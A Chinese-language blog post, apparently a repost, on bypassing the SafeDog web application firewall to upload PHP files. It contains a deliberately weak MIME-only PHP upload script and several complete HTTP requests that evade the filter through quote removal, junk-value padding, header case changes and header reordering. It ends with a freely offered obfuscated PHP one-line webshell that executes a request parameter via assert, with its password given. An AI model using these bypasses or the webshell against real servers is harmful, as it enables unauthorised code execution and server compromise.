• 关于Safe DOG的文件上传bypass


    Author:倾旋
    payloads@aliyun.com
    本文由科拉实验室成员倾旋原创文章

    Part 1 分析

    此文主要研究安全狗的数据包分析功能,由于很多人都认为安全狗是通过正则去匹配的,那么暂且那么说吧。这款应用层的WAF的确在测试中让人头大。那么安全狗是如何分析我们的数据的呢?
    在这里我做了一个拓扑图:

    Part 2 测试过程

    • 测试系统:WINXP
    • 脚本语言:PHP5.4.45
    • WEB服务器:Apache/2.4.23(Win32)
    • 安全狗版本:3.5.12048

    目前,用一个PHP上传文件的脚本来做上传测试。

    该代码有进行修改。将前端的进行一个添加,还有就是他原本的代码不能够上传,没有将将临时文件进行复制。也就是:move_uploaded_file

    <html>
    <body>
        <form action="" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
        uplaod file:<input type="file" name="file" value="">
        <input type="submit" value="uplaod" name="file">
        </form>
    </body>
    </html>
    <?php
    if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/pjpeg"))
    && ($_FILES["file"]["size"] < 2000000000))
      {
      if ($_FILES["file"]["error"] > 0)
        {
        echo "Error: " . $_FILES["file"]["error"] . "<br />";
        }
      else
        {
        $a = explode(".",basename($_FILES['file']['name']));
        $houzhui = array_pop($a);
        $tem_file = $_FILES['file']['tmp_name'];
        $new_file = "./uploads/".date('ymdhis').rand(100,999).".".$houzhui;
        if(move_uploaded_file($tem_file,$new_file)){//如果移动成功就输出上传成功,否则失败,将临时文件移动到真正的目录。
        echo "<script>alert('成功上传')</script>";
        }
        echo "Upload: " . $_FILES["file"]["name"] . "<br />";
        echo "Type: " . $_FILES["file"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Stored in: " . $new_file;
        }
      }
    else
      {
      echo "Invalid file";
      }
    ?>

    这个程序会根据MIME来判断文件是否是图片类型,如果不是就输出“Invalid file”该种的判断方式是存在绕过的,绕过MIME上传本博客相关文章:http://www.cnblogs.com/xishaonian/p/6415841.html

    MIME类型常见的如下所示:

    • 超文本标记语言 .html .htm :Text/html
    • 普通文本 .txt:Text/plain
    • JPEG图形.jpeg .jpg: Image/jpeg

    由于过多就不多举例了。

    通常的普通上传一般只过滤这个MIME类型,由此引发了很多上传漏洞。既然能引发上传漏洞,那么根本的原因是什么呢?

    就由于文件类型可控,所以可以伪造数据包中的MIME类型,上传文件。(由此我们可以看出,简单的判断MIME类型是远远不够的,还要限制文件扩展名)

    我首先使用BurpSuite分析,抓取上传的数据包做测试。

    可以看到已经拦截了上传的数据包,并且返回了拦截的警报信息。 
    一般情况下,我都会手工去测试它的拦截方式,以及黑名单。
    那么这个黑名单包含了哪些呢?
    安全狗的黑名单:*.asa*.asp*.php*.asax*.aspx*.cer*.cdx*.cgi*.exe*.dll*.jsp*.asmx等等 
    现在进入正题,分析我们数据包中的特征。

    POST /upload.php HTTP/1.1
    Host: 192.168.1.103
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.1.103/
    Cookie: safedog-flow-item=0AECAC9EDC7261
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=---------------------------3437176296980
    Content-Length: 344
    
    -----------------------------3437176296980
    Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php"
    Content-Type: image/jpeg
    
    
    
    -----------------------------3437176296980
    Content-Disposition: form-data; name="submit"
    
    Submit
    -----------------------------3437176296980--
    

    第一个猜想,它可能会直接取filename的值?
    (在HTTP协议中,也是键值对的结构。 Key=”Value ”;
    [键]=“值”
    此时filename=”test .php ”中的filename就是keytest.php就是值。

    安全狗可能取的就是其中的值,直接匹配名为filename的键对应的值。

    第二个猜想,它会匹配所有filename对应的值吗?
    我们将:
    Content-Disposition:form-data;name="file";filename="AutoLoad.class.php"
    更改成
    Content-Disposition:form-data;name="file";filename=”test.jpg”;filename="AutoLoad.class.php"

    此时测试上传发现还是不行。

    总结一下:它会取得所有的filename对应的值。

    在之前我们就强调了格式:key=” value ”;我们把双引号去除,试一试?

    此时上传成功。

    原因:原生(未修改)的数据包filename为最后一个键,这个键对应的值是没有“;”的。但是http协议中,我们根据正规格式构造,安全狗就匹配不到filename的值。

    再后来我发现还有更多的方法:

    • 花式剔除
    • 垃圾值填充
    • 大小写混淆
    • 上下文互换
    • ……还有很多办法,不一个一个举例了

    Part 3 秀出姿势

    花式剔除测试过程:

    在上传数据包中,Content-Disposition: form-data;的意思是内容描述,form-data的意思是来自表单的数据,但是即使不写form-data,apache也接受。

    也能够上传成功

    Content-Disposition: ;这里留了一个空值。

    在HTTP协议中,一个[列表名]:参数名=参数值,但是有的参数是没有参数值的。例如:form-data,Content-Length

    当然也可以用垃圾填充,也就是HPP,名为HTTP参数污染,但是和HPP不太相同,权且叫垃圾填充吧。

    也可以填入不相关的值:

    POST /upload.php HTTP/1.1
    Host: 192.168.1.103
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.1.103/
    Cookie: safedog-flow-item=0AECAC9EDC7261
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=---------------------------3437176296980
    Content-Length: 364
    
    -----------------------------3437176296980
    Content-Disposition: AAAAAAAAAAAAAAA="BBBBBBBBBBBBBBBBBB" ; name="file"; filename="AutoLoad.class.php"
    Content-Type: Content-Type: image/jpeg
    
    
    
    -----------------------------3437176296980
    Content-Disposition: form-data; name="submit"
    
    Submit
    -----------------------------3437176296980--
    

    后续我就直接贴上数据包了,因为全部是成功Bypass的。

    下面来看看大小写:
    Content-Disposition:form-data;name="file"; filename="test.php" 
    content-disposition:form-data;name="file"; filename="test.php" 
    将列名改成小写也是可以被Apache接受的。

    POST /upload.php HTTP/1.1
    Host: 192.168.1.103
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.1.103/
    Cookie: safedog-flow-item=0AECAC9EDC7261
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=---------------------------3437176296980
    Content-Length: 343
    
    -----------------------------3437176296980
    content-disposition: form-data; name="file"; filename="AutoLoad.class.php"
    Content-Type: image/jpeg
    
    
    
    -----------------------------3437176296980
    Content-Disposition: form-data; name="submit"
    
    Submit
    -----------------------------3437176296980--
    

    上下文互换测试过程:

    我们发现在默认的上传文件数据包中,MIME类型是在内容描述后面的,我们将MIME类型放在内容描述之前也是可以绕过WAF:

    POST /upload.php HTTP/1.1
    Host: 192.168.1.103
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.1.103/
    Cookie: safedog-flow-item=0AECAC9EDC7261
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=---------------------------3437176296980
    Content-Length: 343
    
    -----------------------------3437176296980
    Content-Type: image/jpeg
    Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php"
    Content-Type: image/jpeg
    
    
    
    -----------------------------3437176296980
    Content-Disposition: form-data; name="submit"
    
    Submit
    -----------------------------3437176296980--
    

    后面我们发现只要在Content-Disposition上方插入任意字符,或者在form-data的位置放置任意字符,都可以绕过WAF....

    当然,垃圾值也可以填充在默认数据包中的内容描述上方:

    POST /upload.php HTTP/1.1
    Host: 192.168.1.103
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.1.103/
    Cookie: safedog-flow-item=0AECAC9EDC7261
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=---------------------------3437176296980
    Content-Length: 343
    
    -----------------------------3437176296980
    AAAAAAAA:filename="aaaaaaa.php";
    Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php"
    Content-Type: image/jpeg
    
    
    
    -----------------------------3437176296980
    Content-Disposition: form-data; name="submit"
    
    Submit
    -----------------------------3437176296980--
    

    Part 4 分享

    另外再附送一颗过狗一句话(PHP):

    <?php
    $p = array('f'=>'a',
    #afffffffff
    'pffff'=>'s'/*223* 1*/,
    'e'=>'fffff',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(
    'lfaaaa'=>'r',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(;
    'nnnnn'=>'t'//&$@&(#*(;
    );//&$@&(#*(;
    $a = array_keys($p);//9*9*5656
    @$_=$p['pffff'].#/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/
    $p['pffff'].$a[2];
    @$_=#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    $p['f']./*-/*-*/$_.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    $p['lfaaaa'].$p['nnnnn'];#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @$_#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    ($_REQUEST[#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    'username'#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    ]);
    ?>
    密码是username
    

    Part 5 结尾

    总之方式有很多,希望此篇文章能给大家有所帮助,打开脑洞,简单设想并加以实验,就可以得出结论!! 
    本人提倡这样的学习方法! 欢迎加入科拉实验室,我们专注于为信息安全而做学问!

    文章转载:http://blog.cora-lab.org/193.html

  • 相关阅读:
    node.js fs,http
    node.js global object,util and so on
    node.js second day
    node.js
    mysql 多个and的简写
    mysql 返回结果按照指定的id顺序返回
    php file_get_contents fopen 连接远程文件
    软考例题1
    Skyline中使用AxTE3DWindowEx打开新的一个球体
    使用AE进行点的坐标投影变换
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6415572.html
Copyright © 2020-2023  润新知